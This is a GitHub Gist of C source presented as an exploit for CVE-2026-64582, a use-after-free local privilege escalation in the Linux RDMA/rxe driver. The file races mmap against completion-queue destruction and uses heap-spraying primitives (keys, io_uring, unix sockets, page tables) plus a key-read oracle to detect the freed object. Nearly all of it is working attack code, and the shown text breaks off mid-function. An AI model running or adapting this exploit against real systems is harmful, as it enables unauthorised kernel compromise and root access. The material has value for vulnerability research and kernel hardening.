Last active
August 6, 2026 11:43
-
-
Save n4sm/71b5f7792d32aa9d508142f7cac4eae7 to your computer and use it in GitHub Desktop.
exploit for CVE-2026-64582
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| PoC UAF LPE for the RDMA/rxe driver | |
| This exploit is based on the technique described by ptryudai in this blog post: https://ptr-yudai.hatenablog.com/entry/2025/09/14/180326 | |
| */ | |
| #define _GNU_SOURCE | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <stddef.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/socket.h> | |
| #include <sys/uio.h> | |
| #include <unistd.h> | |
| struct fown_struct_spray { | |
| int *fds; | |
| size_t count; | |
| }; | |
| int allocate_fown_structs(struct fown_struct_spray *spray, size_t count) | |
| { | |
| size_t i; | |
| int saved_errno; | |
| if (!spray) { | |
| errno = EINVAL; | |
| return -1; | |
| } | |
| spray->fds = NULL; | |
| spray->count = 0; | |
| if (!count) | |
| return 0; | |
| spray->fds = calloc(count, sizeof(*spray->fds)); | |
| if (!spray->fds) | |
| return -1; | |
| for (i = 0; i < count; i++) { | |
| int fd = open("/dev/null", O_RDONLY | O_CLOEXEC); | |
| if (fd < 0) | |
| goto error; | |
| if (fcntl(fd, F_SETOWN, getpid()) < 0) { | |
| saved_errno = errno; | |
| close(fd); | |
| errno = saved_errno; | |
| goto error; | |
| } | |
| spray->fds[i] = fd; | |
| spray->count++; | |
| } | |
| return 0; | |
| error: | |
| saved_errno = errno; | |
| while (spray->count) | |
| close(spray->fds[--spray->count]); | |
| free(spray->fds); | |
| spray->fds = NULL; | |
| errno = saved_errno; | |
| return -1; | |
| } | |
| void deallocate_fown_structs(struct fown_struct_spray *spray) | |
| { | |
| if (!spray) | |
| return; | |
| while (spray->count) | |
| close(spray->fds[--spray->count]); | |
| free(spray->fds); | |
| spray->fds = NULL; | |
| } | |
| struct unix_edge_spray { | |
| int (*transport)[2]; | |
| int passed_socket[2]; | |
| size_t count; | |
| }; | |
| static int send_unix_fd(int socket, int fd) | |
| { | |
| char control[CMSG_SPACE(sizeof(fd))] = { 0 }; | |
| char byte = 'U'; | |
| struct iovec iov = { | |
| .iov_base = &byte, | |
| .iov_len = sizeof(byte), | |
| }; | |
| struct msghdr msg = { | |
| .msg_iov = &iov, | |
| .msg_iovlen = 1, | |
| .msg_control = control, | |
| .msg_controllen = sizeof(control), | |
| }; | |
| struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); | |
| ssize_t sent; | |
| cmsg->cmsg_level = SOL_SOCKET; | |
| cmsg->cmsg_type = SCM_RIGHTS; | |
| cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); | |
| memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); | |
| do { | |
| sent = sendmsg(socket, &msg, 0); | |
| } while (sent < 0 && errno == EINTR); | |
| if (sent == sizeof(byte)) | |
| return 0; | |
| if (sent >= 0) | |
| errno = EIO; | |
| return -1; | |
| } | |
| int allocate_unix_edges(struct unix_edge_spray *spray, size_t count) | |
| { | |
| int saved_errno; | |
| if (!spray) { | |
| errno = EINVAL; | |
| return -1; | |
| } | |
| spray->transport = NULL; | |
| spray->passed_socket[0] = -1; | |
| spray->passed_socket[1] = -1; | |
| spray->count = 0; | |
| if (!count) | |
| return 0; | |
| spray->transport = calloc(count, sizeof(*spray->transport)); | |
| if (!spray->transport) | |
| return -1; | |
| if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, | |
| spray->passed_socket) < 0) | |
| goto error; | |
| while (spray->count < count) { | |
| int pair[2]; | |
| if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, pair) < 0) | |
| goto error; | |
| if (send_unix_fd(pair[0], spray->passed_socket[0]) < 0) { | |
| saved_errno = errno; | |
| close(pair[0]); | |
| close(pair[1]); | |
| errno = saved_errno; | |
| goto error; | |
| } | |
| spray->transport[spray->count][0] = pair[0]; | |
| spray->transport[spray->count][1] = pair[1]; | |
| spray->count++; | |
| } | |
| return 0; | |
| error: | |
| saved_errno = errno; | |
| while (spray->count) { | |
| spray->count--; | |
| close(spray->transport[spray->count][0]); | |
| close(spray->transport[spray->count][1]); | |
| } | |
| if (spray->passed_socket[0] >= 0) | |
| close(spray->passed_socket[0]); | |
| if (spray->passed_socket[1] >= 0) | |
| close(spray->passed_socket[1]); | |
| free(spray->transport); | |
| spray->transport = NULL; | |
| spray->passed_socket[0] = -1; | |
| spray->passed_socket[1] = -1; | |
| errno = saved_errno; | |
| return -1; | |
| } | |
| void deallocate_unix_edges(struct unix_edge_spray *spray) | |
| { | |
| if (!spray) | |
| return; | |
| while (spray->count) { | |
| spray->count--; | |
| close(spray->transport[spray->count][0]); | |
| close(spray->transport[spray->count][1]); | |
| } | |
| if (spray->passed_socket[0] >= 0) | |
| close(spray->passed_socket[0]); | |
| if (spray->passed_socket[1] >= 0) | |
| close(spray->passed_socket[1]); | |
| free(spray->transport); | |
| spray->transport = NULL; | |
| spray->passed_socket[0] = -1; | |
| spray->passed_socket[1] = -1; | |
| } | |
| #define _GNU_SOURCE | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <linux/keyctl.h> | |
| #include <pthread.h> | |
| #include <sched.h> | |
| #include <stdatomic.h> | |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/mman.h> | |
| #include <sys/syscall.h> | |
| #include <sys/timerfd.h> | |
| #include <sys/types.h> | |
| #include <sys/wait.h> | |
| #include <time.h> | |
| #include <unistd.h> | |
| // == | |
| #include <assert.h> | |
| #include <fcntl.h> | |
| #include <sched.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/mman.h> | |
| #include <unistd.h> | |
| static void fatal(const char *s) { | |
| perror(s); | |
| exit(1); | |
| } | |
| int fd; | |
| #define MAX_OBJ_NUM 0x100 | |
| #define OBJ_SIZE 40 | |
| #define OBJS_PER_SLAB 64 // /sys/kernel/slab/obj/objs_per_slab | |
| #define CPU_PARTIAL 24 // /sys/kernel/slab/obj/cpu_partial | |
| char* PTI_TO_VIRT(size_t pgd, size_t pud, size_t pmd, size_t pte) { | |
| assert (pgd < 0x200 && pud < 0x200 && pmd < 0x200 && pte < 0x200); | |
| return (void*)((pgd << 39) + (pud << 30) + (pmd << 21) + (pte << 12)); | |
| } | |
| void* mmap_by_pti(size_t pgd, size_t pud, size_t pmd, size_t pte) { | |
| void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte); | |
| void *q = mmap(p, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0); | |
| assert (p == q); | |
| return p; | |
| } | |
| void* mmap_file_by_pti(int fd, size_t pgd, size_t pud, size_t pmd, size_t pte) { | |
| void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte); | |
| void *q = mmap(p, 0x1000, PROT_READ, MAP_SHARED|MAP_FIXED, fd, 0); | |
| assert (p == q); | |
| return p; | |
| } | |
| #define ENTRY_PER_TABLE 512 | |
| #define SPRAY_NUM 0x3500 | |
| #define DELTA 24 | |
| // === from https://github.com/randorisec/CVE-2022-34918-LPE-PoC | |
| #include <stdint.h> | |
| #include <unistd.h> | |
| #include <sys/syscall.h> | |
| #include <linux/io_uring.h> | |
| struct fd_uring { | |
| int fd; | |
| struct io_uring_params *params; | |
| }; | |
| static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { | |
| return syscall(__NR_io_uring_setup, entries, p); | |
| } | |
| static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { | |
| return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); | |
| } | |
| void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer); | |
| void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size); | |
| #define SPRAY_NB_ENTRIES 10 | |
| void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { | |
| for (uint64_t i = 0; i < spray_size; i++) { | |
| fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); | |
| if (!fd_buffer[i].params) { | |
| perror("io_uring_create"); | |
| exit(EXIT_FAILURE); | |
| } | |
| memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); | |
| fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); | |
| if (fd_buffer[i].fd < 0) { | |
| perror("io_uring_create"); | |
| exit(EXIT_FAILURE); | |
| } | |
| } | |
| } | |
| void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) | |
| { | |
| for (uint32_t i = 0; i < buffer_size; i++) { | |
| if (fd_buffer[i].fd >= 0) { | |
| close(fd_buffer[i].fd); | |
| fd_buffer[i].fd = -1; | |
| } | |
| free(fd_buffer[i].params); | |
| fd_buffer[i].params = NULL; | |
| } | |
| } | |
| // == | |
| #define PAGE_SIZE_BYTES 4096U | |
| #define KEY_PAYLOAD_SIZE 40U | |
| #define KEY_DESCRIPTION_SIZE 64U | |
| #define MAX_KEY_SPRAY 0x5000 | |
| #define MAX_TIMER_THREADS 16 | |
| #define MAX_PAGES 1000000 | |
| #define ANON_VMA_SPRAY_BEFORE 40000 | |
| #define ANON_VMA_SPRAY_AFTER 1 | |
| #define CQ_ANCHOR_BASE 0x400000000000ULL | |
| #define ANON_SPRAY_BASE 0x400100000000ULL | |
| #define ANON_SPRAY_STRIDE (PAGE_SIZE_BYTES * 2ULL) | |
| #define IB_USER_VERBS_CMD_GET_CONTEXT 0 | |
| #define IB_USER_VERBS_CMD_ALLOC_PD 3 | |
| #define IB_USER_VERBS_CMD_CREATE_CQ 18 | |
| #define IB_USER_VERBS_CMD_DESTROY_CQ 20 | |
| struct uv_hdr { | |
| uint32_t command; | |
| uint16_t in_words; | |
| uint16_t out_words; | |
| }; | |
| struct uv_get_context { | |
| uint64_t response; | |
| }; | |
| struct uv_get_context_resp { | |
| uint32_t async_fd; | |
| uint32_t num_comp_vectors; | |
| }; | |
| struct uv_alloc_pd { | |
| uint64_t response; | |
| }; | |
| struct uv_alloc_pd_resp { | |
| uint32_t pd_handle; | |
| uint32_t pad; | |
| }; | |
| struct uv_create_cq { | |
| uint64_t response; | |
| uint64_t user_handle; | |
| uint32_t cqe; | |
| uint32_t comp_vector; | |
| int32_t comp_channel; | |
| uint32_t reserved; | |
| }; | |
| struct uv_create_cq_resp { | |
| uint32_t cq_handle; | |
| uint32_t cqe; | |
| }; | |
| struct uv_destroy_cq { | |
| uint64_t response; | |
| uint32_t cq_handle; | |
| uint32_t reserved; | |
| }; | |
| struct uv_destroy_cq_resp { | |
| uint32_t comp_events_reported; | |
| uint32_t async_events_reported; | |
| }; | |
| struct rxe_mminfo { | |
| uint64_t offset; | |
| uint32_t size; | |
| uint32_t pad; | |
| }; | |
| struct rxe_create_cq_resp { | |
| struct rxe_mminfo mi; | |
| }; | |
| struct create_cq_full_resp { | |
| struct uv_create_cq_resp base; | |
| struct rxe_create_cq_resp rxe; | |
| uint8_t spare[32]; | |
| }; | |
| struct key_payload { | |
| uint32_t ref_canary; | |
| uint32_t tag; | |
| uint64_t zero_obj; | |
| uint8_t marker[KEY_PAYLOAD_SIZE - 16]; | |
| }; | |
| _Static_assert(sizeof(struct key_payload) == KEY_PAYLOAD_SIZE, | |
| "key payload must be 40 bytes"); | |
| struct key_batch { | |
| int32_t *serials; | |
| uint8_t *payloads; | |
| char (*descriptions)[KEY_DESCRIPTION_SIZE]; | |
| size_t payload_size; | |
| int requested; | |
| int created; | |
| }; | |
| typedef void (*key_payload_init_fn)(void *payload, size_t payload_size, | |
| int iteration, int index); | |
| struct options { | |
| int iterations; | |
| int key_spray; | |
| int timer_threads; | |
| int reclaim_probe; | |
| int tail_keys; | |
| unsigned int reclaim_wait_ms; | |
| uint32_t cqe; | |
| uint64_t delay_base_ns; | |
| uint64_t delay_step_ns; | |
| int delay_steps; | |
| uint64_t timer_period_ns; | |
| uint64_t timer_busy_ns; | |
| int mmap_cpu; | |
| int destroy_cpu; | |
| }; | |
| static struct options opt = { | |
| .iterations = 600, | |
| .key_spray = 32, | |
| .timer_threads = 2, | |
| .reclaim_probe = 0, | |
| .tail_keys = 0, | |
| .reclaim_wait_ms = 250, | |
| .cqe = 1, | |
| .delay_base_ns = 0, | |
| .delay_step_ns = 10, | |
| .delay_steps = 21, | |
| .timer_period_ns = 20000, | |
| .timer_busy_ns = 2500, | |
| .mmap_cpu = 1, | |
| .destroy_cpu = 0, | |
| }; | |
| static int uverbs_fd = -1; | |
| static uint32_t cq_handle; | |
| static uint64_t mmap_offset; | |
| static uint32_t mmap_size; | |
| static uint64_t destroy_delay_ns; | |
| static void *mapping = MAP_FAILED; | |
| static atomic_int race_ready; | |
| static atomic_int race_fire; | |
| static atomic_int mmap_ok; | |
| static atomic_int destroy_ok; | |
| static atomic_int stop_timers; | |
| static atomic_int timers_ready; | |
| static atomic_uint_fast64_t mmap_enter_ns; | |
| static atomic_uint_fast64_t mmap_leave_ns; | |
| static atomic_uint_fast64_t destroy_enter_ns; | |
| static atomic_uint_fast64_t destroy_leave_ns; | |
| static inline void cpu_relax(void) | |
| { | |
| __asm__ volatile("pause"); | |
| } | |
| static uint64_t monotonic_ns(void) | |
| { | |
| struct timespec ts; | |
| clock_gettime(CLOCK_MONOTONIC, &ts); | |
| return (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec; | |
| } | |
| static int pin_cpu(int cpu) | |
| { | |
| cpu_set_t set; | |
| CPU_ZERO(&set); | |
| CPU_SET(cpu, &set); | |
| return sched_setaffinity(0, sizeof(set), &set); | |
| } | |
| static void die(const char *what) | |
| { | |
| perror(what); | |
| exit(EXIT_FAILURE); | |
| } | |
| static int uv_cmd(uint32_t id, void *body, size_t body_size, | |
| void *response, size_t response_size) | |
| { | |
| size_t total = sizeof(struct uv_hdr) + body_size; | |
| struct uv_hdr *header; | |
| uint8_t *buffer; | |
| ssize_t written; | |
| int saved_errno; | |
| *(uint64_t *)body = (uint64_t)(uintptr_t)response; | |
| buffer = malloc(total); | |
| if (!buffer) | |
| die("malloc"); | |
| header = (struct uv_hdr *)buffer; | |
| header->command = id; | |
| header->in_words = (uint16_t)(total / 4); | |
| header->out_words = (uint16_t)(response_size / 4); | |
| memcpy(buffer + sizeof(*header), body, body_size); | |
| written = write(uverbs_fd, buffer, total); | |
| saved_errno = errno; | |
| free(buffer); | |
| if (written < 0) { | |
| errno = saved_errno; | |
| return -1; | |
| } | |
| return 0; | |
| } | |
| static void init_uverbs(void) | |
| { | |
| struct uv_get_context context_cmd = {}; | |
| struct uv_get_context_resp context_resp = {}; | |
| struct uv_alloc_pd pd_cmd = {}; | |
| struct uv_alloc_pd_resp pd_resp = {}; | |
| uverbs_fd = open("/dev/infiniband/uverbs0", O_RDWR); | |
| if (uverbs_fd < 0) | |
| die("open /dev/infiniband/uverbs0"); | |
| if (uv_cmd(IB_USER_VERBS_CMD_GET_CONTEXT, | |
| &context_cmd, sizeof(context_cmd), | |
| &context_resp, sizeof(context_resp)) < 0) | |
| die("GET_CONTEXT"); | |
| if (uv_cmd(IB_USER_VERBS_CMD_ALLOC_PD, | |
| &pd_cmd, sizeof(pd_cmd), &pd_resp, sizeof(pd_resp)) < 0) | |
| die("ALLOC_PD"); | |
| printf("[+] GET_CONTEXT async_fd=%u vectors=%u, ALLOC_PD=%u\n", | |
| context_resp.async_fd, context_resp.num_comp_vectors, | |
| pd_resp.pd_handle); | |
| } | |
| static int create_cq(void) | |
| { | |
| struct uv_create_cq cmd = { | |
| .cqe = opt.cqe, | |
| .comp_vector = 0, | |
| .comp_channel = -1, | |
| }; | |
| struct create_cq_full_resp resp = {}; | |
| if (uv_cmd(IB_USER_VERBS_CMD_CREATE_CQ, &cmd, sizeof(cmd), | |
| &resp, sizeof(resp)) < 0) | |
| return -errno; | |
| cq_handle = resp.base.cq_handle; | |
| mmap_offset = resp.rxe.mi.offset; | |
| mmap_size = resp.rxe.mi.size; | |
| return 0; | |
| } | |
| static int destroy_cq(uint32_t handle) | |
| { | |
| struct uv_destroy_cq cmd = { .cq_handle = handle }; | |
| struct uv_destroy_cq_resp resp = {}; | |
| return uv_cmd(IB_USER_VERBS_CMD_DESTROY_CQ, &cmd, sizeof(cmd), | |
| &resp, sizeof(resp)); | |
| } | |
| static void wait_for_race_fire(void) | |
| { | |
| atomic_fetch_add_explicit(&race_ready, 1, memory_order_release); | |
| while (!atomic_load_explicit(&race_fire, memory_order_acquire)) | |
| cpu_relax(); | |
| } | |
| static void *mmap_thread(void *unused) | |
| { | |
| size_t size; | |
| void *target; | |
| (void)unused; | |
| if (pin_cpu(opt.mmap_cpu) < 0) | |
| perror("pin mmap CPU"); | |
| wait_for_race_fire(); | |
| size = mmap_size ? mmap_size : PAGE_SIZE_BYTES; | |
| target = (void *)(CQ_ANCHOR_BASE + PAGE_SIZE_BYTES); | |
| atomic_store_explicit(&mmap_enter_ns, monotonic_ns(), | |
| memory_order_relaxed); | |
| mapping = mmap(target, size, PROT_READ | PROT_WRITE, | |
| MAP_SHARED | MAP_FIXED_NOREPLACE, | |
| uverbs_fd, (off_t)mmap_offset); | |
| atomic_store_explicit(&mmap_leave_ns, monotonic_ns(), | |
| memory_order_release); | |
| atomic_store_explicit(&mmap_ok, mapping != MAP_FAILED, | |
| memory_order_release); | |
| return NULL; | |
| } | |
| static void *destroy_thread(void *unused) | |
| { | |
| uint64_t start; | |
| int ret; | |
| (void)unused; | |
| if (pin_cpu(opt.destroy_cpu) < 0) | |
| perror("pin destroy CPU"); | |
| wait_for_race_fire(); | |
| start = monotonic_ns(); | |
| while (monotonic_ns() - start < destroy_delay_ns) | |
| cpu_relax(); | |
| atomic_store_explicit(&destroy_enter_ns, monotonic_ns(), | |
| memory_order_relaxed); | |
| ret = destroy_cq(cq_handle); | |
| atomic_store_explicit(&destroy_leave_ns, monotonic_ns(), | |
| memory_order_release); | |
| atomic_store_explicit(&destroy_ok, ret == 0, memory_order_release); | |
| return NULL; | |
| } | |
| static void *timer_pressure_thread(void *argument) | |
| { | |
| int index = (int)(intptr_t)argument; | |
| struct itimerspec its = {}; | |
| uint64_t expirations; | |
| int fd; | |
| if (pin_cpu(opt.destroy_cpu) < 0) | |
| perror("pin timer CPU"); | |
| fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC); | |
| if (fd < 0) | |
| die("timerfd_create"); | |
| its.it_value.tv_nsec = | |
| (long)(opt.timer_period_ns + (uint64_t)index * 997); | |
| its.it_interval.tv_nsec = (long)opt.timer_period_ns; | |
| if (timerfd_settime(fd, 0, &its, NULL) < 0) | |
| die("timerfd_settime"); | |
| atomic_fetch_add_explicit(&timers_ready, 1, memory_order_release); | |
| while (!atomic_load_explicit(&stop_timers, memory_order_acquire)) { | |
| uint64_t start; | |
| ssize_t ret = read(fd, &expirations, sizeof(expirations)); | |
| if (ret < 0 && errno == EINTR) | |
| continue; | |
| if (ret != (ssize_t)sizeof(expirations)) | |
| break; | |
| start = monotonic_ns(); | |
| while (monotonic_ns() - start < opt.timer_busy_ns) | |
| cpu_relax(); | |
| } | |
| close(fd); | |
| return NULL; | |
| } | |
| static int32_t add_user_key(const char *description, const void *payload, | |
| size_t payload_size) | |
| { | |
| return (int32_t)syscall(__NR_add_key, "user", description, | |
| payload, payload_size, | |
| KEY_SPEC_PROCESS_KEYRING); | |
| } | |
| static long read_key(int32_t key, void *payload, size_t payload_size) | |
| { | |
| memset(payload, 0, payload_size); | |
| return syscall(__NR_keyctl, KEYCTL_READ, key, payload, | |
| payload_size, 0); | |
| } | |
| static void init_oracle_payload(void *buffer, size_t payload_size, | |
| int iteration, int index) | |
| { | |
| struct key_payload payload = {}; | |
| if (payload_size != sizeof(payload)) | |
| die("oracle payload size"); | |
| payload.ref_canary = 0x13370000U | | |
| ((uint32_t)(iteration * MAX_KEY_SPRAY + index) & 0xffffU); | |
| payload.tag = 0x4b455900U ^ (uint32_t)index; | |
| payload.zero_obj = 0; | |
| memset(payload.marker, 0x4b, sizeof(payload.marker)); | |
| memcpy(buffer, &payload, sizeof(payload)); | |
| } | |
| static void *key_batch_payload(const struct key_batch *batch, int index) | |
| { | |
| if (index < 0 || index >= batch->created) | |
| return NULL; | |
| return batch->payloads + (size_t)index * batch->payload_size; | |
| } | |
| static int allocate_key_batch(struct key_batch *batch, int count, | |
| size_t payload_size, const char *prefix, | |
| int iteration, int index_base, | |
| key_payload_init_fn init_payload) | |
| { | |
| memset(batch, 0, sizeof(*batch)); | |
| if (count < 0 || !payload_size || | |
| (size_t)count > SIZE_MAX / payload_size) { | |
| errno = EINVAL; | |
| return -1; | |
| } | |
| if (!count) | |
| return 0; | |
| batch->serials = malloc((size_t)count * sizeof(*batch->serials)); | |
| batch->payloads = malloc((size_t)count * payload_size); | |
| batch->descriptions = | |
| malloc((size_t)count * sizeof(*batch->descriptions)); | |
| if (!batch->serials || !batch->payloads || !batch->descriptions) | |
| die("malloc key batch"); | |
| batch->payload_size = payload_size; | |
| batch->requested = count; | |
| for (int i = 0; i < count; i++) | |
| batch->serials[i] = -1; | |
| for (int i = 0; i < count; i++) { | |
| void *payload = batch->payloads + (size_t)i * payload_size; | |
| char *description = batch->descriptions[i]; | |
| memset(payload, 0, payload_size); | |
| if (init_payload) | |
| init_payload(payload, payload_size, iteration, | |
| index_base + i); | |
| snprintf(description, KEY_DESCRIPTION_SIZE, "%s-%d-%d-%d", | |
| prefix, getpid(), iteration, i); | |
| batch->serials[i] = | |
| add_user_key(description, payload, payload_size); | |
| if (batch->serials[i] < 0) | |
| break; | |
| batch->created++; | |
| } | |
| return batch->created; | |
| } | |
| static int | |
| deallocate_key_batch(struct key_batch *batch) | |
| { | |
| int revoked = 0; | |
| for (int i = 0; i < batch->created; i++) { | |
| if (batch->serials[i] < 0) | |
| continue; | |
| if (syscall(__NR_keyctl, KEYCTL_REVOKE, | |
| batch->serials[i], 0, 0, 0) == 0) | |
| revoked++; | |
| } | |
| free(batch->descriptions); | |
| free(batch->payloads); | |
| free(batch->serials); | |
| memset(batch, 0, sizeof(*batch)); | |
| return revoked; | |
| } | |
| static void __attribute__((unused)) | |
| revoke_key_batch_and_wait(struct key_batch *batch) | |
| { | |
| struct timespec wait = { | |
| .tv_sec = opt.reclaim_wait_ms / 1000, | |
| .tv_nsec = (long)(opt.reclaim_wait_ms % 1000) * 1000000L, | |
| }; | |
| int revoked; | |
| revoked = deallocate_key_batch(batch); | |
| printf("[RECLAIM] revoked %d payloads; waiting %u ms for RCU " | |
| "callbacks\n", revoked, opt.reclaim_wait_ms); | |
| while (nanosleep(&wait, &wait) < 0 && errno == EINTR) | |
| ; | |
| } | |
| static void prime_process_keyring(void) | |
| { | |
| struct key_payload payload; | |
| int32_t key; | |
| init_oracle_payload(&payload, sizeof(payload), 0, 0); | |
| key = add_user_key("rxe-uaf-keyring-prime", &payload, | |
| sizeof(payload)); | |
| if (key < 0) | |
| die("prime add_key"); | |
| if (syscall(__NR_keyctl, KEYCTL_REVOKE, key, 0, 0, 0) < 0) | |
| die("prime KEYCTL_REVOKE"); | |
| } | |
| struct key_batch primary_oracle = {}; | |
| static int key_fork_oracle(int iteration) | |
| { | |
| struct key_payload observed; | |
| int hold_pipe[2] = {-1, -1}; | |
| int ready_pipe[2] = {-1, -1}; | |
| int hit = -1; | |
| pid_t child = -1; | |
| char byte; | |
| int status; | |
| if (pin_cpu(opt.destroy_cpu) < 0) | |
| perror("pin key spray CPU"); | |
| if (allocate_key_batch(&primary_oracle, opt.key_spray, KEY_PAYLOAD_SIZE, | |
| "rxe-uaf", iteration, 0, | |
| init_oracle_payload) < 0) | |
| die("allocate primary key batch"); | |
| if (!primary_oracle.created) { | |
| perror("add_key"); | |
| exit(EXIT_FAILURE); | |
| } | |
| if (pipe(hold_pipe) < 0 || pipe(ready_pipe) < 0) | |
| die("pipe"); | |
| child = fork(); | |
| if (child < 0) | |
| die("fork"); | |
| if (child == 0) { | |
| close(hold_pipe[1]); | |
| close(ready_pipe[0]); | |
| byte = 'R'; | |
| if (write(ready_pipe[1], &byte, 1) != 1) | |
| _exit(2); | |
| if (read(hold_pipe[0], &byte, 1) != 1) | |
| _exit(3); | |
| _exit(0); | |
| } | |
| close(hold_pipe[0]); | |
| hold_pipe[0] = -1; | |
| close(ready_pipe[1]); | |
| ready_pipe[1] = -1; | |
| if (read(ready_pipe[0], &byte, 1) != 1) | |
| goto release_child; | |
| for (int i = 0; i < primary_oracle.created; i++) { | |
| const struct key_payload *expected = | |
| key_batch_payload(&primary_oracle, i); | |
| long size = read_key(primary_oracle.serials[i], &observed, | |
| sizeof(observed)); | |
| if (size != KEY_PAYLOAD_SIZE) | |
| continue; | |
| if (observed.ref_canary == expected->ref_canary + 1 && | |
| observed.tag == expected->tag && | |
| observed.zero_obj == 0 && | |
| !memcmp(observed.marker, expected->marker, | |
| sizeof(observed.marker))) { | |
| hit = i; | |
| printf("[+] UAF key[%d]=%d description=\"%s\" " | |
| "payload[0]: %#x -> %#x while fork child " | |
| "is alive\n", | |
| i, primary_oracle.serials[i], | |
| primary_oracle.descriptions[i], | |
| expected->ref_canary, observed.ref_canary); | |
| break; | |
| } | |
| } | |
| release_child: | |
| byte = 'X'; | |
| if (hold_pipe[1] >= 0) { | |
| ssize_t ignored = write(hold_pipe[1], &byte, 1); | |
| (void)ignored; | |
| } | |
| if (child > 0) | |
| waitpid(child, &status, 0); | |
| if (hit >= 0) { | |
| const struct key_payload *expected = | |
| key_batch_payload(&primary_oracle, hit); | |
| long size = read_key(primary_oracle.serials[hit], &observed, | |
| sizeof(observed)); | |
| printf("[UAF] after child exit: payload[0]=%#x " | |
| "(expected restored %#x, read=%ld)\n", | |
| observed.ref_canary, expected->ref_canary, size); | |
| if (size != KEY_PAYLOAD_SIZE || | |
| observed.ref_canary != expected->ref_canary) | |
| hit = -1; | |
| } | |
| out: | |
| if (hold_pipe[0] >= 0) | |
| close(hold_pipe[0]); | |
| if (hold_pipe[1] >= 0) | |
| close(hold_pipe[1]); | |
| if (ready_pipe[0] >= 0) | |
| close(ready_pipe[0]); | |
| if (ready_pipe[1] >= 0) | |
| close(ready_pipe[1]); | |
| if (hit < 0) { | |
| if (mapping != MAP_FAILED) { | |
| munmap(mapping, mmap_size ? mmap_size : PAGE_SIZE_BYTES); | |
| mapping = MAP_FAILED; | |
| } | |
| pin_cpu(0); | |
| deallocate_key_batch(&primary_oracle); | |
| } | |
| return hit >= 0; | |
| } | |
| static int page_count = 0; | |
| static void *cq_anchor = MAP_FAILED; | |
| void* iter_pages[MAX_PAGES]; | |
| static void free_all_pages(void **pages, int count) | |
| { | |
| while (count--) { | |
| void *page = pages[count]; | |
| if (page != MAP_FAILED) | |
| munmap(page, PAGE_SIZE_BYTES); | |
| pages[count] = MAP_FAILED; | |
| } | |
| } | |
| static void stress_pcp_flush(int count, void **pages) | |
| { | |
| for (int i = 0; i < count; i++) { | |
| uintptr_t address = ANON_SPRAY_BASE + | |
| (uintptr_t)page_count++ * ANON_SPRAY_STRIDE; | |
| void *page = mmap((void *)address, PAGE_SIZE_BYTES, | |
| PROT_READ | PROT_WRITE, | |
| MAP_PRIVATE | MAP_ANONYMOUS | | |
| MAP_FIXED_NOREPLACE, -1, 0); | |
| if (page == MAP_FAILED) | |
| continue; | |
| ((char *)page)[0] = 'A' + (i % 26); | |
| pages[i] = page; | |
| } | |
| } | |
| static void release_iteration_pages(int count) | |
| { | |
| if (pin_cpu(0) < 0) | |
| perror("pin anonymous VMA release CPU"); | |
| free_all_pages(iter_pages, count); | |
| } | |
| struct fown_struct_spray spray_fown_before; | |
| struct fown_struct_spray spray_fown_after; | |
| struct fown_struct_spray spray_fown_base; | |
| #define MAX_FULL_SHEAVES 10 | |
| #define MAX_EMPTY_SHEAVES 10 | |
| #define NR_PARTIAL 100 | |
| static int run_iteration(int iteration) | |
| { | |
| pthread_t mmap_tid; | |
| pthread_t destroy_tid; | |
| int create_ret; | |
| int mapped; | |
| int destroyed; | |
| uint64_t mmap_enter; | |
| uint64_t mmap_leave; | |
| uint64_t destroy_enter; | |
| uint64_t destroy_leave; | |
| int64_t leave_delta; | |
| mapping = MAP_FAILED; | |
| if (pin_cpu(0) < 0) | |
| perror("pin anonymous VMA spray CPU"); | |
| stress_pcp_flush(ANON_VMA_SPRAY_BEFORE, iter_pages); | |
| create_ret = create_cq(); | |
| if (create_ret < 0) { | |
| fprintf(stderr, "create_cq: %s\n", strerror(-create_ret)); | |
| release_iteration_pages(ANON_VMA_SPRAY_BEFORE); | |
| return -1; | |
| } | |
| stress_pcp_flush(ANON_VMA_SPRAY_AFTER, &iter_pages[ANON_VMA_SPRAY_BEFORE]); | |
| destroy_delay_ns = opt.delay_base_ns + | |
| (uint64_t)(iteration % opt.delay_steps) * opt.delay_step_ns; | |
| atomic_store_explicit(&race_ready, 0, memory_order_relaxed); | |
| atomic_store_explicit(&race_fire, 0, memory_order_relaxed); | |
| atomic_store_explicit(&mmap_ok, 0, memory_order_relaxed); | |
| atomic_store_explicit(&destroy_ok, 0, memory_order_relaxed); | |
| atomic_store_explicit(&mmap_enter_ns, 0, memory_order_relaxed); | |
| atomic_store_explicit(&mmap_leave_ns, 0, memory_order_relaxed); | |
| atomic_store_explicit(&destroy_enter_ns, 0, memory_order_relaxed); | |
| atomic_store_explicit(&destroy_leave_ns, 0, memory_order_relaxed); | |
| if (pthread_create(&mmap_tid, NULL, mmap_thread, NULL) || | |
